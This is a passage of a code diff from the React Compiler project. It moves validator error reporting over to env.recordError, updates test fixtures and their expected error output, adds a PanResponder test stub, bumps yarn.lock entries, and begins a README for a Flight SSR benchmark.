let depsFromSource: Array<ManualMemoDependency> | null = null;
|
||||
if (value.deps != null) {
|
||||
depsFromSource = value.deps;
|
||||
}
|
||||
|
||||
state.manualMemoState = {
|
||||
loc: instruction.loc,
|
||||
decls: new Set(),
|
||||
@@ -529,7 +538,7 @@ class Visitor extends ReactiveFunctionVisitor<VisitorState> {
|
||||
!this.scopes.has(identifier.scope.id) &&
|
||||
!this.prunedScopes.has(identifier.scope.id)
|
||||
) {
|
||||
state.errors.pushDiagnostic(
|
||||
state.env.recordError(
|
||||
CompilerDiagnostic.create({
|
||||
category: ErrorCategory.PreserveManualMemo,
|
||||
reason: 'Existing memoization could not be preserved',
|
||||
@@ -547,12 +556,15 @@ class Visitor extends ReactiveFunctionVisitor<VisitorState> {
|
||||
}
|
||||
}
|
||||
if (value.kind === 'FinishMemoize') {
|
||||
if (state.manualMemoState == null) {
|
||||
// StartMemoize had invalid deps, skip validation
|
||||
return;
|
||||
}
|
||||
CompilerError.invariant(
|
||||
state.manualMemoState != null &&
|
||||
state.manualMemoState.manualMemoId === value.manualMemoId,
|
||||
state.manualMemoState.manualMemoId === value.manualMemoId,
|
||||
{
|
||||
reason: 'Unexpected mismatch between StartMemoize and FinishMemoize',
|
||||
description: `Encountered StartMemoize id=${state.manualMemoState?.manualMemoId} followed by FinishMemoize id=${value.manualMemoId}`,
|
||||
description: `Encountered StartMemoize id=${state.manualMemoState.manualMemoId} followed by FinishMemoize id=${value.manualMemoId}`,
|
||||
loc: value.loc,
|
||||
},
|
||||
);
|
||||
@@ -575,7 +587,7 @@ class Visitor extends ReactiveFunctionVisitor<VisitorState> {
|
||||
|
||||
for (const identifier of decls) {
|
||||
if (isUnmemoized(identifier, this.scopes)) {
|
||||
state.errors.pushDiagnostic(
|
||||
state.env.recordError(
|
||||
CompilerDiagnostic.create({
|
||||
category: ErrorCategory.PreserveManualMemo,
|
||||
reason: 'Existing memoization could not be preserved',
|
||||
|
||||
@@ -7,7 +7,7 @@
|
||||
|
||||
import {NodePath} from '@babel/traverse';
|
||||
import * as t from '@babel/types';
|
||||
import {CompilerDiagnostic, CompilerError, ErrorCategory} from '..';
|
||||
import {CompilerDiagnostic, ErrorCategory} from '..';
|
||||
import {CodegenFunction} from '../ReactiveScopes';
|
||||
import {Environment} from '../HIR/Environment';
|
||||
|
||||
@@ -125,8 +125,6 @@ export function validateSourceLocations(
|
||||
generatedAst: CodegenFunction,
|
||||
env: Environment,
|
||||
): void {
|
||||
const errors = new CompilerError();
|
||||
|
||||
/*
|
||||
* Step 1: Collect important locations from the original source
|
||||
* Note: Multiple node types can share the same location (e.g. VariableDeclarator and Identifier)
|
||||
@@ -241,7 +239,7 @@ export function validateSourceLocations(
|
||||
loc: t.SourceLocation,
|
||||
nodeType: string,
|
||||
): void => {
|
||||
errors.pushDiagnostic(
|
||||
env.recordError(
|
||||
CompilerDiagnostic.create({
|
||||
category: ErrorCategory.Todo,
|
||||
reason: 'Important source location missing in generated code',
|
||||
@@ -261,7 +259,7 @@ export function validateSourceLocations(
|
||||
expectedType: string,
|
||||
actualTypes: Set<string>,
|
||||
): void => {
|
||||
errors.pushDiagnostic(
|
||||
env.recordError(
|
||||
CompilerDiagnostic.create({
|
||||
category: ErrorCategory.Todo,
|
||||
reason:
|
||||
@@ -309,6 +307,4 @@ export function validateSourceLocations(
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
env.recordErrors(errors);
|
||||
}
|
||||
|
||||
@@ -16,13 +16,13 @@ import {
|
||||
IdentifierId,
|
||||
SourceLocation,
|
||||
} from '../HIR';
|
||||
import {Environment} from '../HIR/Environment';
|
||||
import {
|
||||
eachInstructionValueOperand,
|
||||
eachTerminalOperand,
|
||||
} from '../HIR/visitors';
|
||||
|
||||
export function validateUseMemo(fn: HIRFunction): void {
|
||||
const errors = new CompilerError();
|
||||
const voidMemoErrors = new CompilerError();
|
||||
const useMemos = new Set<IdentifierId>();
|
||||
const react = new Set<IdentifierId>();
|
||||
@@ -90,7 +90,7 @@ export function validateUseMemo(fn: HIRFunction): void {
|
||||
firstParam.kind === 'Identifier'
|
||||
? firstParam.loc
|
||||
: firstParam.place.loc;
|
||||
errors.pushDiagnostic(
|
||||
fn.env.recordError(
|
||||
CompilerDiagnostic.create({
|
||||
category: ErrorCategory.UseMemo,
|
||||
reason: 'useMemo() callbacks may not accept parameters',
|
||||
@@ -106,7 +106,7 @@ export function validateUseMemo(fn: HIRFunction): void {
|
||||
}
|
||||
|
||||
if (body.loweredFunc.func.async || body.loweredFunc.func.generator) {
|
||||
errors.pushDiagnostic(
|
||||
fn.env.recordError(
|
||||
CompilerDiagnostic.create({
|
||||
category: ErrorCategory.UseMemo,
|
||||
reason:
|
||||
@@ -122,7 +122,7 @@ export function validateUseMemo(fn: HIRFunction): void {
|
||||
);
|
||||
}
|
||||
|
||||
validateNoContextVariableAssignment(body.loweredFunc.func, errors);
|
||||
validateNoContextVariableAssignment(body.loweredFunc.func, fn.env);
|
||||
|
||||
if (fn.env.config.validateNoVoidUseMemo) {
|
||||
if (!hasNonVoidReturn(body.loweredFunc.func)) {
|
||||
@@ -176,14 +176,11 @@ export function validateUseMemo(fn: HIRFunction): void {
|
||||
}
|
||||
}
|
||||
fn.env.logErrors(voidMemoErrors.asResult());
|
||||
if (errors.hasAnyErrors()) {
|
||||
fn.env.recordErrors(errors);
|
||||
}
|
||||
}
|
||||
|
||||
function validateNoContextVariableAssignment(
|
||||
fn: HIRFunction,
|
||||
errors: CompilerError,
|
||||
env: Environment,
|
||||
): void {
|
||||
const context = new Set(fn.context.map(place => place.identifier.id));
|
||||
for (const block of fn.body.blocks.values()) {
|
||||
@@ -192,7 +189,7 @@ function validateNoContextVariableAssignment(
|
||||
switch (value.kind) {
|
||||
case 'StoreContext': {
|
||||
if (context.has(value.lvalue.place.identifier.id)) {
|
||||
errors.pushDiagnostic(
|
||||
env.recordError(
|
||||
CompilerDiagnostic.create({
|
||||
category: ErrorCategory.UseMemo,
|
||||
reason:
|
||||
|
||||
@@ -10,7 +10,7 @@ import invariant from 'invariant';
|
||||
import {runBabelPluginReactCompiler} from '../Babel/RunReactCompilerBabelPlugin';
|
||||
import type {Logger, LoggerEvent} from '../Entrypoint';
|
||||
|
||||
it('logs succesful compilation', () => {
|
||||
it('logs successful compilation', () => {
|
||||
const logs: [string | null, LoggerEvent][] = [];
|
||||
const logger: Logger = {
|
||||
logEvent(filename, event) {
|
||||
|
||||
@@ -15,7 +15,7 @@ function component(a, b) {
|
||||
## Error
|
||||
|
||||
```
|
||||
Found 3 errors:
|
||||
Found 2 errors:
|
||||
|
||||
Error: useMemo() callbacks may not be async or generator functions
|
||||
|
||||
@@ -47,22 +47,6 @@ error.invalid-ReactUseMemo-async-callback.ts:3:10
|
||||
6 | }
|
||||
|
||||
Inferred dependencies: `[a]`
|
||||
|
||||
Compilation Skipped: Existing memoization could not be preserved
|
||||
|
||||
React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `a`, but the source dependencies were []. Inferred dependency not present in source.
|
||||
|
||||
error.invalid-ReactUseMemo-async-callback.ts:2:24
|
||||
1 | function component(a, b) {
|
||||
> 2 | let x = React.useMemo(async () => {
|
||||
| ^^^^^^^^^^^^^
|
||||
> 3 | await a;
|
||||
| ^^^^^^^^^^^^
|
||||
> 4 | }, []);
|
||||
| ^^^^ Could not preserve existing manual memoization
|
||||
5 | return x;
|
||||
6 | }
|
||||
7 |
|
||||
```
|
||||
|
||||
|
||||
@@ -15,7 +15,7 @@ function component(a, b) {
|
||||
## Error
|
||||
|
||||
```
|
||||
Found 3 errors:
|
||||
Found 2 errors:
|
||||
|
||||
Error: useMemo() callbacks may not be async or generator functions
|
||||
|
||||
@@ -47,22 +47,6 @@ error.invalid-useMemo-async-callback.ts:3:10
|
||||
6 | }
|
||||
|
||||
Inferred dependencies: `[a]`
|
||||
|
||||
Compilation Skipped: Existing memoization could not be preserved
|
||||
|
||||
React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `a`, but the source dependencies were []. Inferred dependency not present in source.
|
||||
|
||||
error.invalid-useMemo-async-callback.ts:2:18
|
||||
1 | function component(a, b) {
|
||||
> 2 | let x = useMemo(async () => {
|
||||
| ^^^^^^^^^^^^^
|
||||
> 3 | await a;
|
||||
| ^^^^^^^^^^^^
|
||||
> 4 | }, []);
|
||||
| ^^^^ Could not preserve existing manual memoization
|
||||
5 | return x;
|
||||
6 | }
|
||||
7 |
|
||||
```
|
||||
|
||||
|
||||
@@ -13,7 +13,7 @@ function component(a, b) {
|
||||
## Error
|
||||
|
||||
```
|
||||
Found 3 errors:
|
||||
Found 2 errors:
|
||||
|
||||
Error: useMemo() callbacks may not accept parameters
|
||||
|
||||
@@ -40,18 +40,6 @@ error.invalid-useMemo-callback-args.ts:2:23
|
||||
5 |
|
||||
|
||||
Inferred dependencies: `[a]`
|
||||
|
||||
Compilation Skipped: Existing memoization could not be preserved
|
||||
|
||||
React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `a`, but the source dependencies were []. Inferred dependency not present in source.
|
||||
|
||||
error.invalid-useMemo-callback-args.ts:2:18
|
||||
1 | function component(a, b) {
|
||||
> 2 | let x = useMemo(c => a, []);
|
||||
| ^^^^^^ Could not preserve existing manual memoization
|
||||
3 | return x;
|
||||
4 | }
|
||||
5 |
|
||||
```
|
||||
|
||||
|
||||
@@ -3,8 +3,10 @@
|
||||
|
||||
```javascript
|
||||
// @validateRefAccessDuringRender:true
|
||||
import {mutate} from 'shared-runtime';
|
||||
|
||||
function Foo(props, ref) {
|
||||
console.log(ref.current);
|
||||
mutate(ref.current);
|
||||
return <div>{props.bar}</div>;
|
||||
}
|
||||
|
||||
@@ -26,14 +28,14 @@ Error: Cannot access refs during render
|
||||
|
||||
React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
|
||||
|
||||
error.validate-mutate-ref-arg-in-render.ts:3:14
|
||||
1 | // @validateRefAccessDuringRender:true
|
||||
2 | function Foo(props, ref) {
|
||||
> 3 | console.log(ref.current);
|
||||
| ^^^^^^^^^^^ Passing a ref to a function may read its value during render
|
||||
4 | return <div>{props.bar}</div>;
|
||||
5 | }
|
||||
6 |
|
||||
error.validate-mutate-ref-arg-in-render.ts:5:9
|
||||
3 |
|
||||
4 | function Foo(props, ref) {
|
||||
> 5 | mutate(ref.current);
|
||||
| ^^^^^^^^^^^ Passing a ref to a function may read its value during render
|
||||
6 | return <div>{props.bar}</div>;
|
||||
7 | }
|
||||
8 |
|
||||
```
|
||||
|
||||
|
||||
@@ -1,6 +1,8 @@
|
||||
// @validateRefAccessDuringRender:true
|
||||
import {mutate} from 'shared-runtime';
|
||||
|
||||
function Foo(props, ref) {
|
||||
console.log(ref.current);
|
||||
mutate(ref.current);
|
||||
return <div>{props.bar}</div>;
|
||||
}
|
||||
|
||||
|
||||
@@ -51,7 +51,7 @@ function Component({x, y, z}) {
|
||||
## Error
|
||||
|
||||
```
|
||||
Found 6 errors:
|
||||
Found 4 errors:
|
||||
|
||||
Error: Found missing/extra memoization dependencies
|
||||
|
||||
@@ -157,48 +157,6 @@ error.invalid-exhaustive-deps.ts:37:13
|
||||
40 | }, []);
|
||||
|
||||
Inferred dependencies: `[ref]`
|
||||
|
||||
Compilation Skipped: Existing memoization could not be preserved
|
||||
|
||||
React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `x.y.z.a.b`, but the source dependencies were [x?.y.z.a?.b.z]. Inferred different dependency than source.
|
||||
|
||||
error.invalid-exhaustive-deps.ts:14:20
|
||||
12 | // ok, not our job to type check nullability
|
||||
13 | }, [x.y.z.a]);
|
||||
> 14 | const c = useMemo(() => {
|
||||
| ^^^^^^^
|
||||
> 15 | return x?.y.z.a?.b;
|
||||
| ^^^^^^^^^^^^^^^^^^^^^^^
|
||||
> 16 | // error: too precise
|
||||
| ^^^^^^^^^^^^^^^^^^^^^^^
|
||||
> 17 | }, [x?.y.z.a?.b.z]);
|
||||
| ^^^^ Could not preserve existing manual memoization
|
||||
18 | const d = useMemo(() => {
|
||||
19 | return x?.y?.[(console.log(y), z?.b)];
|
||||
20 | // ok
|
||||
|
||||
Compilation Skipped: Existing memoization could not be preserved
|
||||
|
||||
React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `ref`, but the source dependencies were []. Inferred dependency not present in source.
|
||||
|
||||
error.invalid-exhaustive-deps.ts:35:21
|
||||
33 | const ref2 = useRef(null);
|
||||
34 | const ref = z ? ref1 : ref2;
|
||||
> 35 | const cb = useMemo(() => {
|
||||
| ^^^^^^^
|
||||
> 36 | return () => {
|
||||
| ^^^^^^^^^^^^^^^^^^
|
||||
> 37 | return ref.current;
|
||||
| ^^^^^^^^^^^^^^^^^^
|
||||
> 38 | };
|
||||
| ^^^^^^^^^^^^^^^^^^
|
||||
> 39 | // error: ref is a stable type but reactive
|
||||
| ^^^^^^^^^^^^^^^^^^
|
||||
> 40 | }, []);
|
||||
| ^^^^ Could not preserve existing manual memoization
|
||||
41 | return <Stringify results={[a, b, c, d, e, f, cb]} />;
|
||||
42 | }
|
||||
43 |
|
||||
```
|
||||
|
||||
|
||||
@@ -22,7 +22,7 @@ function useHook() {
|
||||
## Error
|
||||
|
||||
```
|
||||
Found 2 errors:
|
||||
Found 1 error:
|
||||
|
||||
Error: Found missing memoization dependencies
|
||||
|
||||
@@ -38,19 +38,6 @@ error.invalid-missing-nonreactive-dep-unmemoized.ts:11:31
|
||||
14 |
|
||||
|
||||
Inferred dependencies: `[object]`
|
||||
|
||||
Compilation Skipped: Existing memoization could not be preserved
|
||||
|
||||
React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `object`, but the source dependencies were []. Inferred dependency not present in source.
|
||||
|
||||
error.invalid-missing-nonreactive-dep-unmemoized.ts:11:24
|
||||
9 | useIdentity();
|
||||
10 | object.x = 0;
|
||||
> 11 | const array = useMemo(() => [object], []);
|
||||
| ^^^^^^^^^^^^^^ Could not preserve existing manual memoization
|
||||
12 | return array;
|
||||
13 | }
|
||||
14 |
|
||||
```
|
||||
|
||||
|
||||
@@ -0,0 +1,44 @@
|
||||
|
||||
## Input
|
||||
|
||||
```javascript
|
||||
// @loggerTestOnly @validateNoSetStateInEffects @outputMode:"lint"
|
||||
import {useEffect, useState} from 'react';
|
||||
|
||||
// Bug: NewExpression default param value should not prevent set-state-in-effect validation
|
||||
function Component({value = new Number()}) {
|
||||
const [state, setState] = useState(0);
|
||||
useEffect(() => {
|
||||
setState(s => s + 1);
|
||||
});
|
||||
return state;
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
## Code
|
||||
|
||||
```javascript
|
||||
// @loggerTestOnly @validateNoSetStateInEffects @outputMode:"lint"
|
||||
import { useEffect, useState } from "react";
|
||||
|
||||
// Bug: NewExpression default param value should not prevent set-state-in-effect validation
|
||||
function Component({ value = new Number() }) {
|
||||
const [state, setState] = useState(0);
|
||||
useEffect(() => {
|
||||
setState((s) => s + 1);
|
||||
});
|
||||
return state;
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
## Logs
|
||||
|
||||
```
|
||||
{"kind":"CompileError","detail":{"options":{"category":"EffectSetState","reason":"Calling setState synchronously within an effect can trigger cascading renders","description":"Effects are intended to synchronize state between React and external systems such as manually updating the DOM, state management libraries, or other platform APIs. In general, the body of an effect should do one or both of the following:\n* Update external systems with the latest state from React.\n* Subscribe for updates from some external system, calling setState in a callback function when external state changes.\n\nCalling setState synchronously within an effect body causes cascading renders that can hurt performance, and is not recommended. (https://react.dev/learn/you-might-not-need-an-effect)","suggestions":null,"details":[{"kind":"error","loc":{"start":{"line":8,"column":4,"index":313},"end":{"line":8,"column":12,"index":321},"filename":"invalid-setState-in-useEffect-new-expression-default-param.ts","identifierName":"setState"},"message":"Avoid calling setState() directly within an effect"}]}},"fnLoc":null}
|
||||
{"kind":"CompileSuccess","fnLoc":{"start":{"line":5,"column":0,"index":203},"end":{"line":11,"column":1,"index":358},"filename":"invalid-setState-in-useEffect-new-expression-default-param.ts"},"fnName":"Component","memoSlots":1,"memoBlocks":1,"memoValues":1,"prunedMemoBlocks":1,"prunedMemoValues":0}
|
||||
```
|
||||
|
||||
### Eval output
|
||||
(kind: exception) Fixture not implemented
|
||||
@@ -0,0 +1,11 @@
|
||||
// @loggerTestOnly @validateNoSetStateInEffects @outputMode:"lint"
|
||||
import {useEffect, useState} from 'react';
|
||||
|
||||
// Bug: NewExpression default param value should not prevent set-state-in-effect validation
|
||||
function Component({value = new Number()}) {
|
||||
const [state, setState] = useState(0);
|
||||
useEffect(() => {
|
||||
setState(s => s + 1);
|
||||
});
|
||||
return state;
|
||||
}
|
||||
@@ -0,0 +1,77 @@
|
||||
|
||||
## Input
|
||||
|
||||
```javascript
|
||||
// @flow
|
||||
import {PanResponder, Stringify} from 'shared-runtime';
|
||||
|
||||
export default component Playground() {
|
||||
const onDragEndRef = useRef(() => {});
|
||||
useEffect(() => {
|
||||
onDragEndRef.current = () => {
|
||||
console.log('drag ended');
|
||||
};
|
||||
});
|
||||
const panResponder = useMemo(
|
||||
() =>
|
||||
PanResponder.create({
|
||||
onPanResponderTerminate: () => {
|
||||
onDragEndRef.current();
|
||||
},
|
||||
}),
|
||||
[]
|
||||
);
|
||||
return <Stringify responder={panResponder} />;
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
## Code
|
||||
|
||||
```javascript
|
||||
import { c as _c } from "react/compiler-runtime";
|
||||
import { PanResponder, Stringify } from "shared-runtime";
|
||||
|
||||
export default function Playground() {
|
||||
const $ = _c(3);
|
||||
const onDragEndRef = useRef(_temp);
|
||||
let t0;
|
||||
if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
|
||||
t0 = () => {
|
||||
onDragEndRef.current = _temp2;
|
||||
};
|
||||
$[0] = t0;
|
||||
} else {
|
||||
t0 = $[0];
|
||||
}
|
||||
useEffect(t0);
|
||||
let t1;
|
||||
if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
|
||||
t1 = PanResponder.create({
|
||||
onPanResponderTerminate: () => {
|
||||
onDragEndRef.current();
|
||||
},
|
||||
});
|
||||
$[1] = t1;
|
||||
} else {
|
||||
t1 = $[1];
|
||||
}
|
||||
const panResponder = t1;
|
||||
let t2;
|
||||
if ($[2] === Symbol.for("react.memo_cache_sentinel")) {
|
||||
t2 = <Stringify responder={panResponder} />;
|
||||
$[2] = t2;
|
||||
} else {
|
||||
t2 = $[2];
|
||||
}
|
||||
return t2;
|
||||
}
|
||||
function _temp2() {
|
||||
console.log("drag ended");
|
||||
}
|
||||
function _temp() {}
|
||||
|
||||
```
|
||||
|
||||
### Eval output
|
||||
(kind: exception) Fixture not implemented
|
||||
@@ -0,0 +1,21 @@
|
||||
// @flow
|
||||
import {PanResponder, Stringify} from 'shared-runtime';
|
||||
|
||||
export default component Playground() {
|
||||
const onDragEndRef = useRef(() => {});
|
||||
useEffect(() => {
|
||||
onDragEndRef.current = () => {
|
||||
console.log('drag ended');
|
||||
};
|
||||
});
|
||||
const panResponder = useMemo(
|
||||
() =>
|
||||
PanResponder.create({
|
||||
onPanResponderTerminate: () => {
|
||||
onDragEndRef.current();
|
||||
},
|
||||
}),
|
||||
[]
|
||||
);
|
||||
return <Stringify responder={panResponder} />;
|
||||
}
|
||||
@@ -30,7 +30,7 @@ function useFoo(input1) {
|
||||
## Error
|
||||
|
||||
```
|
||||
Found 2 errors:
|
||||
Found 1 error:
|
||||
|
||||
Error: Found missing memoization dependencies
|
||||
|
||||
@@ -46,23 +46,6 @@ error.useMemo-unrelated-mutation-in-depslist.ts:18:14
|
||||
21 | }
|
||||
|
||||
Inferred dependencies: `[x, y]`
|
||||
|
||||
Compilation Skipped: Existing memoization could not be preserved
|
||||
|
||||
React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `input1`, but the source dependencies were [y]. Inferred different dependency than source.
|
||||
|
||||
error.useMemo-unrelated-mutation-in-depslist.ts:16:27
|
||||
14 | const x = {};
|
||||
15 | const y = [input1];
|
||||
> 16 | const memoized = useMemo(() => {
|
||||
| ^^^^^^^
|
||||
> 17 | return [y];
|
||||
| ^^^^^^^^^^^^^^^
|
||||
> 18 | }, [(mutate(x), y)]);
|
||||
| ^^^^ Could not preserve existing manual memoization
|
||||
19 |
|
||||
20 | return [x, memoized];
|
||||
21 | }
|
||||
```
|
||||
|
||||
|
||||
@@ -196,6 +196,44 @@ export function makeSharedRuntimeTypeProvider({
|
||||
],
|
||||
},
|
||||
},
|
||||
PanResponder: {
|
||||
kind: 'object',
|
||||
properties: {
|
||||
create: {
|
||||
kind: 'function',
|
||||
positionalParams: [EffectEnum.Freeze],
|
||||
restParam: null,
|
||||
calleeEffect: EffectEnum.Read,
|
||||
returnType: {kind: 'type', name: 'Any'},
|
||||
returnValueKind: ValueKindEnum.Frozen,
|
||||
aliasing: {
|
||||
receiver: '@receiver',
|
||||
params: ['@config'],
|
||||
rest: null,
|
||||
returns: '@returns',
|
||||
temporaries: [],
|
||||
effects: [
|
||||
{
|
||||
kind: 'Freeze',
|
||||
value: '@config',
|
||||
reason: ValueReasonEnum.KnownReturnSignature,
|
||||
},
|
||||
{
|
||||
kind: 'Create',
|
||||
into: '@returns',
|
||||
value: ValueKindEnum.Frozen,
|
||||
reason: ValueReasonEnum.KnownReturnSignature,
|
||||
},
|
||||
{
|
||||
kind: 'ImmutableCapture',
|
||||
from: '@config',
|
||||
into: '@returns',
|
||||
},
|
||||
],
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
};
|
||||
} else if (moduleName === 'ReactCompilerKnownIncompatibleTest') {
|
||||
|
||||
@@ -421,4 +421,10 @@ export function typedMutate(x: any, v: any = null): void {
|
||||
x.property = v;
|
||||
}
|
||||
|
||||
export const PanResponder = {
|
||||
create(obj: any): any {
|
||||
return obj;
|
||||
},
|
||||
};
|
||||
|
||||
export default typedLog;
|
||||
|
||||
@@ -10525,7 +10525,16 @@ string-length@^4.0.1:
|
||||
char-regex "^1.0.2"
|
||||
strip-ansi "^6.0.0"
|
||||
|
||||
"string-width-cjs@npm:string-width@^4.2.0", string-width@^4.1.0, string-width@^4.2.0, string-width@^4.2.3:
|
||||
"string-width-cjs@npm:string-width@^4.2.0":
|
||||
version "4.2.3"
|
||||
resolved "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz"
|
||||
integrity sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==
|
||||
dependencies:
|
||||
emoji-regex "^8.0.0"
|
||||
is-fullwidth-code-point "^3.0.0"
|
||||
strip-ansi "^6.0.1"
|
||||
|
||||
string-width@^4.1.0, string-width@^4.2.0, string-width@^4.2.3:
|
||||
version "4.2.3"
|
||||
resolved "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz"
|
||||
integrity sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==
|
||||
@@ -10598,7 +10607,14 @@ string_decoder@~1.1.1:
|
||||
dependencies:
|
||||
safe-buffer "~5.1.0"
|
||||
|
||||
"strip-ansi-cjs@npm:strip-ansi@^6.0.1", strip-ansi@^6.0.0, strip-ansi@^6.0.1:
|
||||
"strip-ansi-cjs@npm:strip-ansi@^6.0.1":
|
||||
version "6.0.1"
|
||||
resolved "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz"
|
||||
integrity sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==
|
||||
dependencies:
|
||||
ansi-regex "^5.0.1"
|
||||
|
||||
strip-ansi@^6.0.0, strip-ansi@^6.0.1:
|
||||
version "6.0.1"
|
||||
resolved "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz"
|
||||
integrity sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==
|
||||
@@ -11064,9 +11080,9 @@ undici-types@~6.19.2:
|
||||
integrity sha512-ve2KP6f/JnbPBFyobGHuerC9g1FYGn/F8n1LWTwNxCEzd6IfqTwUQcNXgEtmmQ6DlRrC1hrSrBnCZPokRrDHjw==
|
||||
|
||||
undici@^6.19.5:
|
||||
version "6.21.2"
|
||||
resolved "https://registry.npmjs.org/undici/-/undici-6.21.2.tgz"
|
||||
integrity sha512-uROZWze0R0itiAKVPsYhFov9LxrPMHLMEQFszeI2gCN6bnIIZ8twzBCJcN2LJrBBLfrP0t1FW0g+JmKVl8Vk1g==
|
||||
version "6.23.0"
|
||||
resolved "https://registry.yarnpkg.com/undici/-/undici-6.23.0.tgz#7953087744d9095a96f115de3140ca3828aff3a4"
|
||||
integrity sha512-VfQPToRA5FZs/qJxLIinmU59u0r7LXqoJkCzinq3ckNJp3vKEh7jTWN589YQ5+aoAC/TGRLyJLCPKcLQbM8r9g==
|
||||
|
||||
unicode-canonical-property-names-ecmascript@^2.0.0:
|
||||
version "2.0.1"
|
||||
@@ -11375,7 +11391,7 @@ workerpool@^6.5.1:
|
||||
resolved "https://registry.npmjs.org/workerpool/-/workerpool-6.5.1.tgz"
|
||||
integrity sha512-Fs4dNYcsdpYSAfVxhnl1L5zTksjvOJxtC5hzMNl+1t9B8hTJTdKDyZ5ju7ztgPy+ft9tBFXoOlDNiOT9WUXZlA==
|
||||
|
||||
"wrap-ansi-cjs@npm:wrap-ansi@^7.0.0", wrap-ansi@^7.0.0:
|
||||
"wrap-ansi-cjs@npm:wrap-ansi@^7.0.0":
|
||||
version "7.0.0"
|
||||
resolved "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz"
|
||||
integrity sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==
|
||||
@@ -11393,6 +11409,15 @@ wrap-ansi@^6.2.0:
|
||||
string-width "^4.1.0"
|
||||
strip-ansi "^6.0.0"
|
||||
|
||||
wrap-ansi@^7.0.0:
|
||||
version "7.0.0"
|
||||
resolved "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz"
|
||||
integrity sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==
|
||||
dependencies:
|
||||
ansi-styles "^4.0.0"
|
||||
string-width "^4.1.0"
|
||||
strip-ansi "^6.0.0"
|
||||
|
||||
wrap-ansi@^8.1.0:
|
||||
version "8.1.0"
|
||||
resolved "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-8.1.0.tgz"
|
||||
|
||||
62
fixtures/flight-ssr-bench/README.md
Normal file
62
fixtures/flight-ssr-bench/README.md
Normal file
@@ -0,0 +1,62 @@
|
||||
# Flight SSR Benchmark
|
||||
|
||||
Measures the performance overhead of the React Server Components (RSC) Flight pipeline compared to plain Fizz server-side rendering, across both Node and Edge (web streams) APIs.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
Build React from the repo root first:
|
||||
|
||||
```sh
|
||||
yarn build-for-flight-prod
|
||||
```
|
||||
|
||||
Then install the fixture's dependencies:
|
||||
|
||||
```sh
|
||||
cd fixtures/flight-ssr-bench
|
||||
yarn install
|
||||
```
|
||||
|
||||
## Scripts
|
||||
|
||||
| Script | Purpose |
|
||||
| --- | --- |
|
||||
| `yarn bench` | Sequential benchmark with Flight script injection (realistic framework pipeline). Best for measuring Edge vs Node overhead. |
|
||||
| `yarn bench:bare` | Sequential benchmark without script injection. Best for measuring React-internal changes (e.g. Flight serialization optimizations) with less noise from stream plumbing. |
|
||||
| `yarn bench:server` | HTTP server benchmark using autocannon at c=1 and c=10. Best for measuring real-world req/s. The c=1 results are also useful for tracking React-internal changes. |
|
||||
| `yarn bench:concurrent` | In-process concurrent benchmark (50 in-flight renders). Measures throughput under load without HTTP overhead. |
|
||||
| `yarn bench:profile` | CPU profiling via V8 inspector. Saves `.cpuprofile` files to `build/profiles/`. |
|
||||
| `yarn start` | Starts the HTTP server for manual browser testing at `http://localhost:3001`. Append `.rsc` to any Flight URL to see the raw Flight payload. |
|
||||
|
||||
## What it measures
|
||||
|
||||
Each script benchmarks 8 render variants:
|
||||
|
||||
- **Fizz (Node, sync/async)** -- plain `renderToPipeableStream`, no RSC
|
||||
- **Fizz (Edge, sync/async)** -- plain `renderToReadableStream`, no RSC
|
||||
- **Flight + Fizz (Node, sync/async)** -- full RSC pipeline: Flight server (`renderToPipeableStream`) -> Flight client (`createFromNodeStream`) -> Fizz (`renderToPipeableStream`)
|
||||
